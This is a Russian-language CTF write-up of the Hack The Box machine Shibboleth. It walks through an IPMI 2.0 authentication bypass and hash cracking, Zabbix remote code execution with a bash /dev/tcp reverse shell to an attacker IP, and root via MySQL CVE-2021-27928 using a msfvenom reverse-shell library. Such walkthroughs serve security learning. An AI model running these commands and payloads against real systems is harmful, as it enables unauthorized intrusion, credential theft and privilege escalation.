Хакер - HTB Shibboleth. Ломаем Zabbix, чтобы захватить контроллер платы
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Точка входа
- Точка опоры и продвижение
- Локальное повышение привилегий
Сегодня мы с тобой захватим контроллер управления платами (BMC), работающий по протоколу IPMI. Для этого проэксплуатируем баг в Zabbix, а затем повысим привилегии при помощи известной уязвимости в MySQL.
Проделывать все это мы будем на машине с площадки Hack The Box. Она называется Shibboleth, а ее сложность отмечена как средняя.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.124 shibboleth.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Мы нашли всего один открытый порт — 80. На хосте активен веб‑сервер Apache 2.4.41.

На сайте ничего интересного найти не удалось, поэтому приступим к перебору адресов в поисках скрытых ресурсов.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-fc— исключить из результата ответы с кодом 403.
Запускаем ffuf:
ffuf -u http://shibboleth.htb/FUZZ -t 256 -w files_interesting.txt -fs 279

Находим файл changelog.txt, из которого можем узнать, на чем работает сайт.

Бывает полезно, помимо каталогов, перебрать и виртуальные хосты, то есть поддомены. Используем тот же ffuf и будем перебирать HTTP-заголовок Host (параметр -H). Так как ответ на все запросы включает десять строк, отфильтруем их из результата (параметр -fl):
ffuf -u http://shibboleth.htb -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.shibboleth.htb' -fl 10

Находим три доменных имени, которые приведут нас на один и тот же сайт. Добавим их в файл /etc/hosts и заглянем на любой из них. Нас встретит панель авторизации Zabbix.
10.10.11.124 monitor.shibboleth.htb shibboleth.htb

Идти дальше некуда, однако в моем чек‑листе остался неотмеченным пункт сканирования UDP-портов. Это дело долгое, но может дать много полезного. Запускаем.
sudo nmap -sU shibboleth.htb

На порте UDP 623 работает служба IPMI. А по этому протоколу общаются контроллеры управления платами.
ТОЧКА ВХОДА
Похоже, мы имеем дело с контроллером управления платой, BMCS. Это что‑то вроде мини‑компьютера, который используется для мониторинга настольных компьютеров и серверов. BMCS часто реализованы как встраиваемые системы ARM, работающие под управлением Linux и подключенные непосредственно к материнской плате основной системы. Доступ к сети обеспечивается либо через основную сетевую карту, либо через специальный интерфейс. Почти все серверы и рабочие станции поставляются с той или иной формой BMC.
Интеллектуальный интерфейс управления платформой (IPMI) — это набор спецификаций, определяющих протоколы связи для обмена данными как по локальной шине, так и по сети. Через IPMI можно удаленно подключиться к серверу и управлять его работой:
- мониторить состояние оборудования, например проверять температуру отдельных составляющих системы, уровень напряжения, скорость вращения вентиляторов;
- восстанавливать работоспособность сервера в автоматическом или ручном режиме (удаленная перезагрузка системы, включение и выключение питания, загрузка ISO-образов и обновление программного обеспечения);
- управлять периферийными устройствами;
- вести журнал событий;
- хранить информацию об используемом оборудовании.
Первым делом получим базовую информацию, такую как номер версии (1.5 или 2.0). В этом нам может помочь модуль ipmi_version из Metasploit Framework.
msfconsole -q
use auxiliary/scanner/ipmi/ipmi_version
show options

Как следует из параметров модуля ipmi_version, нужно лишь указать адрес хоста.
set RHOSTS shibboleth.htb
run

У нас версия 2.0. В ней есть уязвимость обхода аутентификации. При использовании шифра типа 0 (клиент хочет использовать аутентификацию открытым текстом) доступ можно получить практически с любым паролем. Проверим, уязвим ли хост, с помощью модуля ipmi_cipher_zero, которому также нужно указать адрес хоста.
use auxiliary/scanner/ipmi/ipmi_cipher_zero
set RHOSTS shibboleth.htb
run

Базовую информацию узнали, для дальнейшей работы нам потребуется утилита ipmitool, установить которую можно прямо из репозитория.
sudo apt install ipmitool
А теперь запросим список пользователей (user list). Для аутентификации используем дефолтное имя пользователя Administrator.
ipmitool -I lanplus -C 0 -H shibboleth.htb -U root -P '' user list

Таким образом, у нас есть всего одно имя, но и этого нам хватит. Дело в том, что в процессе аутентификации IPMI 2.0 сервер сообщит клиенту SHA1-хеш любой учетной записи, для которой поступит запрос. Чтобы сделать его, можем использовать модуль ipmi_dumphashes.
use auxiliary/scanner/ipmi/ipmi_dumphashes
show options

У Metasploit есть свой словарь имен, поэтому вновь укажем только адрес хоста.
set RHOSTS shibboleth.htb
run

С помощью знаменитого hashcat можно не только быстро ломать хеши и создавать правила или списки паролей, но и определять тип хеша.
hashcat --example | grep 'IPMI' -A2 -B2

Нам сообщают, что это хеш типа IPMI2 SHA1 и что, если мы хотим перебирать его, нужно использовать код режима 7300. Так мы и поступим, а в качестве словаря с паролями используем rockyou.
hashcat -a 0 -m 7300 hash.txt rockyou.txt

В итоге легко подбираем пароль. А с его помощью авторизуемся в Zabbix.

ТОЧКА ОПОРЫ И ПРОДВИЖЕНИЕ
Через панель Zabbix можно выполнить код и получить реверс‑шелл. Для этого перейдем к меню Configuration → Host → Items и выберем Add Item.


Теперь командой rlwrap -cAr nc -lvp 4321 откроем листенер для приема соединения. Заполняем обязательные поля, а в поле Key указываем реверс‑шелл.
system.run[/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.134/4321 0>&1",nowait]

Как только новая запись будет добавлена, в окне листенера получим бэкконнект.


В системе найдем всего одного пользователя ipmi-svc, а в файле /etc/passwd обнаружим, что он может использовать командную оболочку.
cat /etc/passwd | grep ipmi-svc

С имеющимся паролем авторизуемся как ipmi-svc.
python3 -c 'import pty;pty.spawn("/bin/bash")'
su

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Один из способов повысить привилегии — найти учетные данные. В данном случае есть шанс получить их из Zabbix. Поскольку он подключается к базе данных, параметры этого подключения должны где‑то содержаться. В случае с Zabbix они находятся в конфиге /etc/zabbix/zabbix_server.conf.

Этот пароль к пользователю root не подошел, зато позволит авторизоваться в MySQL.
mysql -u zabbix -pbloooarskybluh -D zabbix

При подключении мы узнаем версию MySQL, поэтому можем поискать готовые эксплоиты.
Справка: поиск готовых эксплоитов
При пентесте лучше всего искать эксплоиты в Google, поскольку этот поисковик заглядывает и в личные блоги, и в самые разные отчеты. Ускорят дело специализированные базы вроде Exploit-DB — там часто можно обнаружить подходящие варианты. Если ты работаешь в специализированной ОС вроде Kali Linux, то эта база у тебя уже есть и для поиска можно использовать утилиту searchsploit.

Находим баг CVE-2021-27928. Эксплуатация этой уязвимости приводит к удаленному выполнению кода: мы можем установить значение wsrep_provider (системная переменная MySQL, указывающая расположение библиотеки wsrep). Управление путем к библиотеке, которая будет загружена в MySQL, дает нам возможность поместить в нее вредоносный код, который запустится в привилегированном контексте.
Такая библиотека должна быть файлом .so, сгенерировать который нам поможет MSFVenom, входящий в состав Metasploit Framework. Формат файла указываем в параметре -f, а в качестве нагрузки используем обычный реверс‑шелл (параметр -p).
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.134 LPORT=5432 -f elf-so -o ralf_expl.so

Загружаем на удаленный хост сгенерированную библиотеку и открываем на локальном хосте листенер:
rlwrap -cAr nc -lvnp 5432
А теперь эксплуатируем уязвимость, просто установив значение переменной wsrep_provider!
SET GLOBAL wsrep_provider="/tmp/ralf_expl.so";

И в окне листенера видим бэкконнект.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei